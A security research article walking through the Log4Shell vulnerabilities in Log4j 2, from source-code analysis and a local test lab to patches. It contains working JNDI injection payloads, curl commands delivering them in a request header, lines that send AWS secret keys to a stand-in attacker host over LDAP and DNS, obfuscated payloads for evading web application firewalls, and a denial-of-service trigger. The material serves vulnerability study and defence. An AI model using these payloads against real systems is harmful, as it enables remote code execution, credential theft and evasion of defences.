Log4HELL! Everything you must know about Log4Shell

Written by

Up until recently, just a few people (aside from specialists) were aware of the Log4j logging utility. However, a vulnerability found in this library attracted to it a great attention from researches nowadays. Let’s take a closer look at the origin and operation mechanism of this bug and examine the available exploits to it.

News headlines claim that the problem affects half of the computer world and supposedly can be used to hack everything: from your neighbor’s Minecraft server to large corporations, including Apple.

Several repositories on GitHub provide lists of vulnerable software (with blackjack and proofs, of course), for instance Log4jAttackSurface or log4shell. Even Wikipedia now includes an article about Log4Shell.

Let’s find out whether the devil is really as black as he is painted, how it all began, and why the bug received such publicity.

Vulnerability discovery

First, a short preamble. The bug was discovered by expert Zhaojun Chen from Alibaba Cloud Security. Its details were reported to the Apache Foundation on November 24, 2021. The public became aware of them a little later: on December 9. A post with a pair of picture depicting the result of a successful exploitation – a running calculator – went viral on Twitter. In the first screen, the payload was erased, but the second picture and a piece of code from the first one hinted what to look for and where. In addition, the post included a link to a pull request with an ineffective fix. This Twitter post has already been deleted and can be viewed only in the Internet Archive.

Post describing the vulnerability in Log4j
Post describing the vulnerability in Log4j

On the same day, a PoC with exploitation details appeared on GitHub. Shortly after that, the CVE-2021-44228 identifier has been assigned to the vulnerability, and the repository was renamed and subsequently deleted. As you can see, the beginning of this story is now available to the public only thanks to the archives.

The bug gained the highest (10) CVSS score due to its extremely simple exploitation that doesn’t require any rights and causes severe consequences for the attacked system.

The exploit began spreading, and people started testing various payloads discovering vulnerable products en masse. Let’s discuss in more detail the origin of the vulnerability, patches released to fix it, workaround techniques, and vulnerable products.

Discovered vulnerabilities

CVE-2021-44228: An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers over JNDI. The problem affects Apache Log4j2 versions from 2.0-beta9 to 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) that are vulnerable to RCE over JNDI.

CVE-2021-45046: An attacker having control over Thread Context Map (MDC) dynamic data in log strings can create a payload using a JNDI Lookup pattern resulting in an information leak and remote code execution in some Log4j configurations and in a local code execution in all configurations. The problem exists due to the incompletely fixed CVE-2021-44228 vulnerability in Log4j 2.15.0.

CVE-2021-45105: The uncontrolled recursion problem enables an attacker to cause a denial of service using a specially crafted log string. The problem affects Log4j2 versions starting with 2.0-alpha1 and to 2.16.0 (except for 2.12.3 and 2.3.1).

CVE-2021-44832: An attacker having access to logging settings can create a configuration enabling a remote code execution. Such a configuration uses a JDBC Appender with a data source having a reference to JNDI URI. The problem affects all Log4j2 versions starting with 2.0-beta7 and to 2.17.0.

Test system

To examine this vulnerability, I need a test system. I am going to use Windows as the main OS and IntelliJ IDEA for compiling and debugging purposes.

So, I create an empty Java project using gradle and add a vulnerable Log4j version (e.g. 2.14.1) to the dependencies.

build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.14.1'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
}

Then I create a class to log argument that will be passed to the program.

src/main/java/logger/Test.java
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
String msg = (args.length > 0 ? String.join(" ", args) : "");
logger.error(msg);
}
}

Next, I specify the main class to be called at startup.

build.gradle
plugins {
id 'java'
id 'application'
}
...
mainClassName = 'logger.Test'

The test system is ready and can be started. Parameters will be passed to the logger as arguments using the --args flag:

gradlew run --args='hello world'
Running program to test the log4shell vulnerability
Running program to test the log4shell vulnerability

Time to test the vulnerability. I start listening to local port 389 first, take a simple payload ${jndi:ldap://127.0.0.1/a}, and pass it as a parameter.

gradlew run --args='${jndi:ldap://127.0.0.1/a}'
Testing the log4shell vulnerability
Testing the log4shell vulnerability

The connection is established, which means that the vulnerability has been successfully exploited. For now, this is sufficient for my purposes.

Vulnerability details

Let’s try to figure out why this mysterious construct works.

Generally speaking, constructs in the ${} format are used in dynamic strings that are converted by different implementations of the StringSubstitutor class. For the purposes of this study, I will consider them variables.

I download the source code of the tested version of the Log4j library. The processing of the logged event I’m interested in begins in the format method of the MessagePatternConverter class.

org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
public final class MessagePatternConverter extends LogEventPatternConverter {
...
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
...
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}

This loop checks for the presence of an ${ construct in the message. If it’s present, then the control is passed to the StrSubstitutor class for further processing.

Parsing the log event message of the Log4j library to check for the presence of an ${ construct in its text
Parsing the log event message of the Log4j library to check for the presence of an ${ construct in its text
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware {
...
public static final char DEFAULT_ESCAPE = '$';
...
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
...
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");

Here you can see the initialization of the default prefix (${) and suffix (}). Farther in the code, you can see the substitute method.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() {
return prefixMatcher;
}
...
public StrMatcher getVariableSuffixMatcher() {
return suffixMatcher;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();

It again searches the contents of the logged event for such constructs (${blablabla}); however, this time, it checks for the presence of the } suffix to determine whether further processing is actually required.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else // found variable start marker

As its name implies, the prefixMatcher.isMatch method finds the beginning of the construct (i.e. the ${ characters). The check is performed using the isMatch method.

org/apache/logging/log4j/core/lookup/StrMatcher.java
public abstract class StrMatcher {
...
static final class StringMatcher extends StrMatcher {
...
public int isMatch(final char[] buffer, int pos, final int bufferStart, final int bufferEnd) {
final int len = chars.length;
if (pos + len > bufferEnd) {
return 0;
}
for (int i = 0; i < chars.length; i++, pos++) {
if (chars[i] != buffer[pos]) {
return 0;
}
}
return len;
}
Searching for a string that begins with ${
Searching for a string that begins with ${

In a similar way, suffixMatcher.isMatch finds the end of the construct (i.e. the } character).

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
...
while (pos < bufEnd) {
...
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);

After executing this entire loop, the program knows the positions of the first and last bytes of the ${} contents. Then this string is written to the varNameExpr variable.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}

Note that the substitute method is called recursively. This is required to handle the nested ${} constructs. This knowledge will be helpful in the future. In this particular case, the call brings nothing new, and the code execution continues.

The next part searches for a colon or minus in the string jndi:ldap://127.0.0.1/a. I will discuss this logic in more detail when it comes to WAF circumvention techniques (because WAF blocks the exploitation of the studied vulnerability), but for now, it’s of no importance.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
...
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
...
}

Now the most exciting things begin: the resolveVariable method is called.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}

It converts the passed variables in accordance with their contents.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
protected String resolveVariable(final LogEvent event, final String variableName,
final StringBuilder buf,
final int startPos, final int endPos) {

First, the StrLookup interface is created.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrLookup getVariableResolver() {
return this.variableResolver;
}

At the stage when an instance of the StrSubstitutor class is created, variableResolver is initialized in accordance with the specified or default configuration.

In fact, variableResolver is an interpolator: it specifies which resolver class should handle the contents of the found variable. On my test system, the following resolvers are used in the default configuration:

variableResolver = {Interpolator@1558} "{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}"
strLookupMap = {HashMap@5788} size = 12
"date" -> {DateLookup@5805}
"java" -> {JavaLookup@5807}
"marker" -> {MarkerLookup@5809}
"ctx" -> {ContextMapLookup@5811}
"lower" -> {LowerLookup@5813}
"upper" -> {UpperLookup@5815}
"jndi" -> {JndiLookup@5817}
"main" -> {MapLookup@5819}
"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}
"sys" -> {SystemPropertiesLookup@5823}
"env" -> {EnvironmentLookup@5825}
"log4j" -> {Log4jLookup@5827}
Default variable resolvers in Log4j
Default variable resolvers in Log4j

Then the lookup method is called.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
return resolver.lookup(event, variableName);
}
org/apache/logging/log4j/core/lookup/Interpolator.java
public class Interpolator extends AbstractConfigurationAwareLookup {
...
public static final char PREFIX_SEPARATOR = ':';
...
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

It parses the contents of the variable, finds the first occurrence of a colon, writes to prefix a substring from the first byte to the delimiter, and writes the rest (without the colon), to name.

org/apache/logging/log4j/core/lookup/Interpolator.java
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
...
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

Then it selects, based on prefix, the appropriate class from the list of resolvers. As you may have guessed, in the ${jndi:ldap://127.0.0.1/a} payload, jndi will be the prefix value indicating which resolver to use.

Getting a resolver from the passed string
Getting a resolver from the passed string

In this particular situation, the control is passed to the JndiLookup class. The lookup method is called.

org/apache/logging/log4j/core/lookup/JndiLookup.java
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {
...
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
Control is passed to the JndiLookup resolver class based on the payload contents
Control is passed to the JndiLookup resolver class based on the payload contents

That’s it. I am not going to delve into the specifics of Java Naming and Directory Interface (JNDI) here; it’s beyond the scope of this article. What does matter is that it can be used for RCE.

RCE via Log4j

To execute arbitrary code, it’s necessary to create a malicious LDAP server that will transmit my payload to the attacked machine.

After receiving the payload, Java will perform deserialization and call the specified classes; this, in turn, will result in the execution of the arbitrary command. Plenty of utilities automate the exploitation of this attack type: ysoserial, marshalsec, Rogue JNDI, etc. I am going to use Rogue JNDI.

git clone https://github.com/veracode-research/rogue-jndi.git

Compiling the utility using the maven build automation tool.

mvn package

Running the utility; the arbitrary command I want to execute is specified as the command argument.

java -jar target/RogueJndi-1.1.jar --command "calc.exe"
Running the Rogue JNDI utility to exploit the CVE-2021-44228 vulnerability in Log4j
Running the Rogue JNDI utility to exploit the CVE-2021-44228 vulnerability in Log4j

The utility supports several payloads, but I need only RemoteReference. This is a classic JNDI attack that results in RCE via remote class loading.

The address is specified in the payload body.

${jndi:ldap://127.0.0.1:1389/o=reference}
Successful exploitation of the CVE-2021-44228 vulnerability in Log4j
Successful exploitation of the CVE-2021-44228 vulnerability in Log4j

If you don’t see the calculator, I’m glad for you: your Java is up-to-date. The point is that remote class loading is prohibited by default in versions above 8u191. However, the vulnerability still can be exploited using local chains of gadgets. Java is a language of libraries and frameworks; situations when pure Java code is used are pretty rare.

Log4j exploitation in Spring Boot RCE on Java versions above 8u191

Let’s take the popular Spring framework. A ready-made vulnerable application can be taken from the log4shell-vulnerable-app repository.

I run it using gradle.

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app
gradlew bootRun

I select Tomcat as a payload. Unsafe reflection in the org.apache.naming.factory.BeanFactory class is used for exploitation. This class from Tomcat contains the Bean creation logic that uses reflection. If you want to learn more about this technique, I strongly recommend an article by Michael Stepankin Exploiting JNDI Injections in Java.

The resultant payload is as follows:

${jndi:ldap://127.0.0.1:1389/o=tomcat}

I pass it as the X-Api-Version header.

curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}' http://127.0.0.1:8080/

$Voila!$ Here is the calculator.

Exploitation
Exploitation

Not only RCE

Aside from remote code execution, the vulnerability poses plenty of other risks. Let’s remember how many resolvers, in addition to JNDI, were declared in variableResolver:

"date" -> {DateLookup@5805}
"java" -> {JavaLookup@5807}
"marker" -> {MarkerLookup@5809}
"ctx" -> {ContextMapLookup@5811}
"lower" -> {LowerLookup@5813}
"upper" -> {UpperLookup@5815}
"jndi" -> {JndiLookup@5817}
"main" -> {MapLookup@5819}
"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}
"sys" -> {SystemPropertiesLookup@5823}
"env" -> {EnvironmentLookup@5825}
"log4j" -> {Log4jLookup@5827}

All of them can be used in a similar way. Take, for instance, the env resolver. It allows you to access environment variables. Let’s try something harmless like ${env:OS}.

gradlew run --args='${env:OS}'
Getting access to environment variables via log4j
Getting access to environment variables via log4j

Great, but how can I get the value of this variable remotely? Let’s get back to the substitute method and examine the substitutionInVariablesEnabled variable.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

By default, it is set to true, which means that ${} constructs can be dynamic (i.e. contain other variables).

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public boolean isEnableSubstitutionInVariables() {
return enableSubstitutionInVariables;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
/**
* The flag whether substitution in variable names is enabled.
*/
private boolean enableSubstitutionInVariables = true;

Therefore, the program checks whether substitutionInVariablesEnabled is true during the parsing, and if its value is true, the beginning of another ${ construct is determined. Its position is recorded, and the nestedVarCount value is incremented.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
...
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
nestedVarCount++;
pos += endMatchLen;
continue;

After parsing the entire string, the substitute method is called recursively starting from the most deeply nested variable. In other words, the conversion of a construct like ${${${var}}} starts with the ${var} variable. This provides a potential attacker with a colossal number of different attack vectors.

Keeping this in mind, let’s get back to the question: how to get the value of the required variable remotely?

The first thing that comes to my mind is to pass the data to my server as a URI or as parameters. Let’s try to do this. To gain the required information, a valid LDAP hello packet must be sent to the client (i.e. to the vulnerable machine). I emulate it by passing the desired byte string via echo:

echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 389 | xxd

Adding the required environment variable to the payload.

gradlew run --args='${jndi:ldap://127.0.0.1/${env:OS}}'
Sending environment variable to the attacker
Sending environment variable to the attacker’s server

The selection of possible actions is huge. For instance, you can transmit AWS access keys.

${jndi:ldap://attacker.server/${env:AWS_SECRET_ACCESS_KEY}}

Even if TCP connections are prohibited on the remote host, DNS requests in most cases are transmitted normally. In that situation, the payload looks as follows.

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.server/any}
Sending environment variable contents in a DNS request
Sending environment variable contents in a DNS request

Manipulating the payload and circumventing WAF

A few words about WAF circumvention techniques. First of all, let’s see how the prefix is processed to determine the resolver.

org/apache/logging/log4j/core/lookup/Interpolator.java
public String lookup(final LogEvent event, String var) {
...
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);

When the toLowerCase function is executed, all characters passing through it are converted to the specified locale (Locale.US). This makes it possible to take similar characters from other alphabetic systems, and they will be converted to the most suitable English characters. The technique is called Best-fit Mappings.

${ĴņđĨ:ldap://127.0.0.1/${env:OS}}

This vector also works well.

Using similar characters from other alphabets to exploit the vulnerability in Log4j
Using similar characters from other alphabets to exploit the vulnerability in Log4j

In addition, the possibility to use nested variables leaves wide room for the creation of unique payloads. Take, for instance, the lower and upper resolvers.

"lower" -> {LowerLookup@5813}
"upper" -> {UpperLookup@5815}

As you can understand from their names, these resolvers convert text to the lower and upper cases, respectively. You can specify one or more characters for conversion. Using these resolvers, the payload can be transformed into the following form:

${${upper:j}${lower:n}${upper:d}i:${lower:l}d${lower:ap}://127.0.0.1/${env:OS}}

Just don’t use uppercase in the scheme (ldap) as it’s case-sensitive and LDAP://127.0.0.1 won’t connect to your server.

Now let’s get back to the substitute method it (i.e. to the piece of code that I skipped at the beginning) and check the value of the variable in it.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
...
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}

The valueDelimiterMatcher.isMatch construct checks the variable contents for the presence of a colon and a minus sign. These characters are used to specify a default value if the resolver returns false (e.g. the requested environment variable doesn’t exist). A variable with the default value is passed in the following format:

${resolver:variable:-default_value}

My example with a nonexistent environment variable will look approximately as follows:

${env:ANYTHING:-hello}

And the number of colons in the second case can be any.

Specifying default values in string variables ${}
Specifying default values in string variables ${}

It is also possible not to specify a resolver. In this situation, the resolveVariable method will try to apply the default resolver: MapLookup. And if it returns null, then the default value you have passed will be used.

${::-hello}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
Default value of the variable in Log4j if no resolver is used
Default value of the variable in Log4j if no resolver is used

The same behavior can be observed with a nonexistent resolver.

Default value of the variable in Log4j if a nonexistent resolver is used
Default value of the variable in Log4j if a nonexistent resolver is used

Then the payload can take absolutely crazy looks.

${${:::::-j}${lower:N}${env:OLOLOLO:-d}i:${::-l}${:ANYANY:-d}${ASDF:DSFA:-a}p://127.0.0.1/${env:OS}}

And even such constructions successfully fulfil their function.

Obfuscated payload is used to exploit the vulnerability in Log4j
Obfuscated payload is used to exploit the vulnerability in Log4j

As you understand, it’s extremely difficult to block something like this using WAF systems based on regular expressions.

Patches and workarounds

Time to discuss patches released to fix this vulnerability.

The first recommendation was to set the formatMsgNoLookups flag or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true so that variables in logged events are not processed. This solution is suitable for Log4j versions 2.10 and higher.

Fixing the vulnerability in Log4j with the formatMsgNoLookups flag
Fixing the vulnerability in Log4j with the formatMsgNoLookups flag

This really helps, but not in all situations. The point is that Log4j code still includes some places where the processing of variables in logged events can occur. For instance, this happens if the application uses constructs like Logger.printf(level, "%s", userInput) or its own custom class for logging where StringBuilderFormattable isn’t implemented.

Circumventing the vulnerability fix in Log4j. Successful exploitation despite the formatMsgNoLookups flag
Circumventing the vulnerability fix in Log4j. Successful exploitation despite the formatMsgNoLookups flag

There may be other attack vectors as well; so, it’s not recommended to use this fix.

The first official patch appeared in version 2.15. The ability to use variables in messages was disabled in this version by default, but it’s still available in configs. A whitelisting mechanism has been introduced for JNDI connections; by default, it only allows localhost. If a custom logging pattern is used, and the user data somehow get to the Thread Context Map (MDC), then this vulnerability still can be exploited.

For instance, let’s take the fork of the log4shell-vulnerable-app repository by Kai Mindermann.

git clone https://github.com/kmindi/log4shell-vulnerable-app.git log4shell-vulnerable-app-2
cd log4shell-vulnerable-app-2

Uncomment the string in build.gradle to use the new Log4j version.

build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.15.0'
}
}
}

The logging template in this fork has been slightly altered.

src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

As well as the user data logging method.

src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put("apiversion", apiVersion);
logger.info("Received a request for API version ");
return "Hello, world!";
}
gradlew bootRun
curl -H 'X-Api-Version: ${env:OS}' 127.0.0.1:8080
curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}' 127.0.0.1:8080

Now the value from the X-Api-Version header is passed to the apiversion variable via ThreadContext. In this situation, exploitation is still possible. The only thing that prevents a fully featured RCE is the restriction of JNDI connections to local addresses only. However, an LCE (Local Code Execution :-)) can still be used (e.g. as a vector for privilege escalation).

Circumventing the vulnerability fix in Log4j 2.15. Successful exploitation via ThreadContext
Circumventing the vulnerability fix in Log4j 2.15. Successful exploitation via ThreadContext

This exploitation possibility has a separate identifier: CVE-2021-45046.

The developers realized that the first patch wasn’t 100% effective and released the next version of Log4j: 2.16. One might think that this time everything should be fixed properly. But researchers quickly found a way to cause a denial of service. This vulnerability has also got a separate identifier: CVE-2021-45105. Exploitation is possible only when nonstandard logging patterns are used.

Take, for instance, the above-mentioned fork of log4shell-vulnerable-app. The pattern in it is vulnerable to the following attack:

src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

If the attacker passes ${ctx:apiversion}, it would cause infinite attempts to convert the variable and an exception will be thrown in the application.

Updating the Log4j version in the config and testing the vulnerability.

build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.16.0'
}
}
}
curl -H 'X-Api-Version: ${ctx:apiversion}' 127.0.0.1:8080
Exploiting the DoS vulnerability CVE-2021-45046 in Log4j 2.16.0
Exploiting the DoS vulnerability CVE-2021-45046 in Log4j 2.16.0

In the next build – version 2.17 – the main problems seem to be fixed. Another vulnerability has been discovered (its ID is CVE-2021-44832), but the prerequisites for its successful exploitation are quite severe. The attacker needs access to be able to change logging configurations. In this case, the attacker can generate a configuration where arbitrary code can be executed via the JDBC Appender with a data source containing a reference to a JNDI URI. I intend to discuss this in one of the future articles; for now, my recommendation is to upgrade to the latest Log4j version (2.17.1) ASAP.

Demonstration of vulnerability (video)

Conclusions

This article discusses a very interesting and dangerous (in terms of its consequences) vulnerability. Its extremely easy exploitation resulted in a real boom on the Internet; all kinds of logs now include entries containing the sacramental ${jndi:ldap://} construct. Log4Shell rightfully became the hottest vulnerability of the outgoing year. I expect plenty of bug-bounty reports describing the occurrence of this issue in the most unexpected places.

It’s surprising how a bug with such a simple exploitation vector had remained in the shadow for eight years: the first vulnerable version, Log4j 2.0 beta9, was released in September 2013.

For all of us, this is yet another reminder that sometimes, all you have to do is take a closer look at the well-known code to discover something interesting in it.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>